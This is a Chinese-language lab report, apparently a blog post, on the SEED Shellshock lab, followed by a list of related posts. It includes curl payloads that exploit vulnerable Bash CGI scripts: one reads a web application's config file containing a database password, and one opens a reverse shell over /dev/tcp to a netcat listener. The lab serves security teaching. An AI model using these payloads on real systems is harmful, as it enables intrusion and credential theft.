Shellshock Attack

  • 利用Shellshock攻击Set-UID程序
    • Web服务器调用CGI程序
    • Task 1: Experimenting with Bash Function
    • Task 2: Setting up CGI programs
    • Task 3: Passing Data to Bash via Environment Variable
    • Task 4: Launching the Shellshock Attack
    • Task 5: Getting a Reverse Shell via Shellshock Attack
    • Task 6: Using the Patched Bash

利用Shellshock攻击Set-UID程序

Web服务器调用CGI程序

  为了理解Shellshock是如何攻击CGI程序的,首先需要理解CGI程序是如何被调用的。下面使用Apache Web服务器(简称“ Apache服务器” )来描述该过程。当用户向Apache服务器发送CGI请求时(如http://10.0.2.69/cgi-bin/test.cgi), Apache服务器会检查该请求。如果是一个CGI请求,Apache服务器会用fork () 函数来新建一个进程,然后使用exec()函数族中的某个函数在新进程中执行CGI程序。因为CGI程序以“ #!/bin/bash"开头,因此该程序是一个shell脚本,exec()函数实际上执行的是/bin/bash, Bash会运行shell脚本。

  触发Bash只是Shellshock攻击成功的条件之一。另一个重要的条件是攻击者必须通过环境变量为Bash程序提供输入。当Apache服务器创建了一个子进程执行Bash(使用exec()函数)时,它为Bash进程提供了环境变量。下面看一下哪些环境变量可以被远程用户控制。将下面的内容放在test.cgi程序中。最后一行的指令“ strings /proc/$$ /environ"能打印出一个进程的所有环境变量,Bash会将$$替换成当前进程的ID。

#!/bin/bash_shellshock
echo "Content-type : text/plain "
echo
echo " ** Environment Variables*** "
strings /proc/$$/environ

Task 1: Experimenting with Bash Function

Task1主要是设计一个实验来验证Bash是否容易受到Shellshock攻击。命令如下:

foo="() { echo "hello"; }; echo "extra";"
export foo


Case1:有漏洞的shell版本
输入bash_shellshock、declare -f foo和exit,结果如下:

Case2:无漏洞的shell版本
运行结果如下,bash后面没有输出,没有输出extra,也没有函数foo的定义:

结论:可以利用上面的命令来判断shell是都存在shellshock漏洞。

Task 2: Setting up CGI programs

  在这个实验中,我们将对一个远程web服务器发起Shellshock攻击。如果shell程序是易受攻击的Bash程序,我们可以利用Shellshock易受攻击来获得服务器上的特权。
设置一个非常简单的CGI程序(称为myprog.cgi),它的作用是使用shell脚本打印出“Hello World”,代码如下:

#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo
echo "Hello Wrold“

  需要将该CGI程序放在目标服务器的/usr/Ii b / cgi-bin目录中,并将它的权限设置为775(可执行)。这些操作需要使用root权限(使用sudo)来完成,因为只有root用户可以修改该目录中的文件。该目录是Apache服务器的默认CGI目录。

Case1:有漏洞的shell版本:

输出了Hello World。
Case2:无漏洞的shell版本:
只需要将cgi脚本的第一行改为#!/bin/bash,结果如下:

同样的也输出了HelloWorld。
结果分析:两次输出结果相同,这也正常,因为没有涉及到攻击,而是用到了shell提供的功能。

Task 3: Passing Data to Bash via Environment Variable

  此实验中,我们要利用基于Bash的CGI程序中的Shellshock漏洞,攻击者需要将他们的数据传递给有漏洞的Bash程序,并且需要通过环境变量传递数据。使用下面的CGI程序来演示可以向CGI程序发送任意字符串,该字符串将显示在一个环境变量的内容中。CGI脚本如下:

#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "** Environment variables **"
strings /proc/$$/environ


Case1:有漏洞的shell版本:

可以看到,cgi脚本输出了环境变量。
Case2:无漏洞的shell脚本
将cgi脚本的第一行改为#!/bin/bash,结果如下:

可以看到,也成功输出了环境变量。
结果分析:与Task2结果相似,两次输出结果相同,因为没有涉及到攻击,而是用到了shell提供的功能。

Task 4: Launching the Shellshock Attack

  在上面的CGI程序设置好之后,我们现在可以启动Shellshock攻击了。我们可以通过URL http://localhost/cgi-bin/ myprog发起攻击,可以实现作为远程用户无法完成的事情。在本实验中,主要是使用shellshock攻击从服务器窃取一个秘密文件内容,命令如下:

curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php" http://127.0.0.1/cgi-bin/myprog.cgi。

Case1 有漏洞的shell版本:


myprog.cgi脚本成功窃取了 /var/www/CSRF/Elgg/elgg-config/settings.php 的内容,且获取了数据库密码。
Case 2:无漏洞的版本:
将cgi脚本的第一行换成#!/bin/bash

可以看到,输出了环境变量,没有窃取到秘密文件。
结果分析:/bin/bash_shellshock攻击的原理是 -A 后面的字符串会作为 http头中 的 agent 发送给服务器,apache agent会构造相应的环境变量传给 shell,有漏洞的shell 看到环境变量以 A=() { 会识别成shell函数,将=替换成空格,也就是A () {,而后调用函数解析函数体,而这个函数在遇到 () { echo hello ; }; 最后的分号时,会将分号后面的指令执行,从而被攻击。/bin/bash修复了漏洞,故攻击失败。

Task 5: Getting a Reverse Shell via Shellshock Attack

  Shellshock漏洞允许攻击者在目标机器上运行任意命令。在实际的攻击中,攻击者通常选择运行shell命令,而不是在攻击中硬编码命令,这样,只要shell程序还活着,他们就可以使用这个shell运行其他命令。为了实现这个目标,攻击者需要运行一个反向shell。
  在这个实验中,主要演示如何通过CGI程序中的Shellshock漏洞启动反向shell。为了方便,这里我都在一台机器上进行演示。并且使用命令时要注意修改命令中的 IP 地址。
Case 1:有漏洞的shell版本
用命令nc -lv 8000搭建一个服务器,监听8000端口,模拟攻击端。

curl -A "() { echo hello; }; /bin/bash -i > /dev/tcp/127.0.0.1/8000 0<&1 2>&1" http://127.0.0.1/cgi-bin/myprog.cgi


可以看到,下面这个shell窗口可以看到反向shell已经创建成功了,用户id为www-data.
Case 2: 无漏洞的shell版本:
将cgi脚本的第一行改为#!/bin/bash,结果如下:

  可以发现启动反向shell失败,攻击端输出了环境变量。
  结果分析:对于有漏洞的shell,会执行“;“后面的命令,开启shell并将输入输出重定向到一个外部的tcp连接,连接成功后,我们就可以再外部使用这个连接区操作shell了。而对于没有漏洞的shell,分号后面的命令不会执行,所有反向shell会创建失败。

Task 6: Using the Patched Bash

  此实验中,我们使用一个已经打过补丁的Bash程序。程序/bin/bash是修补过的版本。重做Task 3和Task 5。
  此Task已经在上述Task3 和 Task 5中实现了,此处不再做赘述。

LAB 2 Shellshock Attack相关推荐

  1. Shellshock Attack Lab

    Shellshock Attack Lab 使用Ubuntu 16.04 20.04可以使用docker或者安装apache做后面的task Task1 Bash的版本:在本书提供的SEED Ubun ...

  2. 软件安全课程实验2 Shellshock Attack lab

    Shellshock_Attack_lab 个人博客地址 task 1 //vul.c #include <unistd.h> #include <stdio.h> #incl ...

  3. Shellshock Attack SEED-LAB

    实验官方文档链接SEED Project 环境搭建 DNS设置 在我们的设置中,web服务器容器的IP地址为10.9.0.80.服务器的主机名为www.seedlab-shellshock.com.我 ...

  4. Seed lab:Remote DNS Attack

    实验环境: 服务器ip:192.168.86.139 Victim ip: 192.168.86.137 Attacker ip:192.168.86.138 准备工作: 安装bind9服务器: 在b ...

  5. Shellshock Lab

    注:全文如下,同时欢迎参观我的个人博客:Shellshock Lab Shellshock 1 Overview-概述 2014 年 9 月 24 日,发现了 bash 中的一个严重漏洞. 该漏洞绰号 ...

  6. 漏洞分析——shellshock实验

    Shellshock Attack Lab 前导知识 SHELL:命令行界面的解释器 Linux下常见Shell: Bourne Again Shell(/bin/bash) C Shell(/usr ...

  7. 什么是ShellShock攻击?

    黑客笔记 本期live互动.答疑相关问题归档(有视频): Shellshock Attack 概述 认识环境变量&&bash 1.普通shell变量和bash [04/12/2018 ...

  8. shellshock-Attack-Lab

    shellshock Attack Lab 详见我的个人博客:shellshock Attack Lab 实验概述 实验背景 2014 年 9 月 24 日,发现了 Bash 中的一个严重漏洞 She ...

  9. mysql in sql注入_在 SQL 注入攻击中检查数据库

    原文来自:PORTSWIGGER WEB SECURITY >> Web Security Academy >>Examining the database >>E ...

最新文章

  1. 遍历百万级Redis的键值的大结局
  2. python的基本语法和语言_Python基本语法
  3. 每日一题(18)—— 指定地址存入数据
  4. Redis中三种特殊数据类型
  5. 【网络安全工程师面试合集】—谈一谈什么是网络安全?
  6. “经历”重于“技术”
  7. 区块链学习(1) sha256算法 c语言实现
  8. 五百丁简历下载的一种方法
  9. hadoop容错性(详解版)
  10. java对人物画像分级_绘制用户画像——根据用户行为计算标签权重介绍及实现...
  11. easy excel date 类型解析报错_Python成为专业人士笔记-date 对象、time 对象及datetime用法深度剖析...
  12. 什么是云计算和大数据?他们之间的区别是什么?
  13. 关于双非本科2020秋招,我想说的
  14. 信息学奥赛一本通 1400:统计单词数 | 1954:【11NOIP普及组】统计单词数 | OpenJudge NOI 1.12 05 | 洛谷 P1308 [NOIP2011 普及组] 统计单词数
  15. 计算天数c语言实验报告,c语言实例--计算天数
  16. Spring事务管理-tx:advice标签
  17. PDP-11 计算机
  18. 为数据而生:大数据创新实践八步骤
  19. 无线电能传输 wpt 磁耦合谐振 过零检测 matlab simulink仿真 pwm MOSFET,过零检测模块 基于二极管整流的无线电能传输设计
  20. iPhone固件下载地址

热门文章

  1. Pycharm更换国内源(最新版无mange repositories)
  2. 芯龙半导体IPO过会:拟募资2.6亿 年营收2亿,员工仅53人
  3. 线性回归X为矩阵时闭式解推导
  4. 【制作多媒体演示文稿软件】Focusky教程 | 巧用SWF
  5. Google Code Jam Round2 A,B题解
  6. 毫米波雷达视觉融合方案综述(数据级/决策级/特征级融合)
  7. 几种方法将pdf文档转换成jpg
  8. 微构科技2018年全国清明节小长假出游分析报告
  9. 时空角怎么理解_天道文化——如何让员工人人以客户为导向?
  10. 【python】数字图像处理